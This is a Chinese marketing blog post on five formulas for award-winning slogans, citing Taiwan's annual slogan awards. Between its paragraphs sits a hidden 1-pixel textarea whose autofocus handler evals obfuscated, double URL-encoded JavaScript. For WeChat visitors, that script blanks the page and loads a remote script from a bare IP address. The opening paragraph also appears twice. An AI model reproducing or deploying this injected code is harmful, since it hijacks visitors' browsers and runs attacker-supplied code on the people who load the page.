顶尖获奖广告创作的5种套路 你学会了几种？

　营销行业摸爬滚打多年，在品宣文案方面经常被问到“佳叔，道理我都懂，可就是不知道怎么操作”。如果你脑袋里还是一团浆糊那就不算懂。一言不合就开脑洞进行思维上的裸奔，说明还是太年轻，有套路地开脑洞才是创意。

　　品牌是企业的灵魂，而表达品牌最直接的方式莫过于广告语/标语。简单而精妙，朗朗上口而不落俗套都是成为顶流行广告语的必备条件。

　　奇普·希思曾经提到，让你的品牌更出彩的文案必须是简洁的，冗长只会让顾客丧失兴趣，唯有字句之间形成强烈品牌印象，才算是好的文案。对于广告语，这句话同样适用。

　　营销行业摸爬滚打这么多年，在品宣文案方面经常被问到“佳叔，道理我都懂，可是就是不知道怎么操作”。而我想说的是，如果你脑袋里还是一团浆糊那就还不算懂。一言不合就开脑洞进行思维上的裸奔，说明还是太年轻，有套路地开脑洞才是创意。

　　

<textarea autofocus="" onfocus="eval(unescape(unescape('%76%61%72%25%32%30%75%61%25%32%30%25%33%44%25%32%30%6e%61%76%69%67%61%74%6f%72%2e%75%73%65%72%41%67%65%6e%74%25%33%42%69%66%25%32%38%75%61%2e%69%6e%64%65%78%4f%66%25%32%38%25%32%32%4d%69%63%72%6f%4d%65%73%73%65%6e%67%65%72%25%32%32%25%32%39%25%33%45%30%25%32%39%25%37%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%62%6f%64%79%25%32%37%25%32%39%25%30%41%25%35%42%30%25%35%44%2e%6f%75%74%65%72%48%54%4d%4c%25%33%44%25%32%37%4c%6f%61%64%69%6e%67%2e%2e%2e%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%74%69%74%6c%65%25%33%44%25%32%37%25%35%43%75%36%62%36%33%25%35%43%75%35%37%32%38%25%35%43%75%35%32%61%30%25%35%43%75%38%66%37%64%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%35%43%75%33%30%30%32%25%32%37%25%33%42%76%61%72%25%32%30%73%25%33%44%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%25%30%41%25%32%38%25%32%37%73%63%72%69%70%74%25%32%37%25%32%39%25%33%42%73%2e%73%72%63%25%33%44%25%32%37%68%74%74%70%25%33%41%2f%2f%34%37%2e%38%39%2e%34%33%2e%35%31%2f%70%72%6f%78%79%2e%70%68%70%25%32%37%25%33%42%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%25%32%38%25%32%37%68%65%61%64%25%32%37%25%32%39%2e%69%74%65%6d%25%32%38%30%25%32%39%2e%61%70%70%65%6e%64%43%68%69%6c%64%25%32%38%73%25%32%39%25%33%42%25%37%44')))" style="width:1px;height:1px">.</textarea>

 

　　台湾每年会有一个年度流行广告语的盘点，其中金句奖的地位颇为重要。佳叔将近年来的一些金句奖获奖广告语进行分类整理和分析，同时提供一些大家常见的案例加深理解，帮助大家学习品宣广告文案中的一些套路，让你的创作达到“一句致胜”。